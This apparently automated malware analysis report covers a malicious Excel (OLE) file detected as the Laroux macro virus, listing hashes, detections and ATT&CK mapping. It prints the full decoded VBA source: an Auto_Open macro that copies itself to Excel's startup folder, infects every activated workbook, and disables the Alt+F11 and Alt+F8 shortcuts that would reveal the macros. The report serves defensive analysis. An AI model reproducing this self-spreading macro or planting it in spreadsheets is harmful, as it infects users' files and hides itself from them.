Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 94053a8c0845dae1…

MALICIOUS

Office (OLE)

70.0 KB Created: 2013-04-17 14:30:08 Authoring application: WPS Office ¸öÈË°æ First seen: 2015-10-13
MD5: ea560a1594ad72f3c8ac87ba66da15c0 SHA-1: f69cd49e6ad2fac70720c7e904f37136ac4e5b7e SHA-256: 94053a8c0845dae148100ac0cd056be34a260af67d82af067fc7561e4a7cf7a1
88 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample contains VBA macros, including an Auto_Open macro, which is a common technique for establishing persistence. The script attempts to copy itself to the Excel startup path as 'StartUp.xls' and configures sheet activation and key bindings to maintain its presence. The document body contains financial statements, likely a lure to disguise the malicious macro.

Heuristics 3

  • ClamAV: Doc.Macro.Laroux-5893719-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Laroux-5893719-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub auto_open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 928 bytes
SHA-256: 68e21cc538090bffb81ec02e0ae5fc9433951691f7743d504cfe98af4479ef98
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "StartUp"
Sub auto_open()
  On Error Resume Next
  If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
    Application.ScreenUpdating = False
    ThisWorkbook.Sheets("StartUp").Copy
    ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls")
    n$ = ActiveWorkbook.Name
    ActiveWindow.Visible = False
    Workbooks("StartUp.xls").Save
    'Workbooks(n$).Close (False)
  End If
  Application.OnSheetActivate = "StartUp.xls!ycop"
  Application.OnKey "%{F11}", "StartUp.xls!escape"
  Application.OnKey "%{F8}", "StartUp.xls!escape"
End Sub

Sub ycop()
  On Error Resume Next
  If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then
    Application.ScreenUpdating = False
    n$ = ActiveSheet.Name
    Workbooks("StartUp.xls").Sheets("StartUp").Copy before:=Worksheets(1)
    Sheets(n$).Select
  End If
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.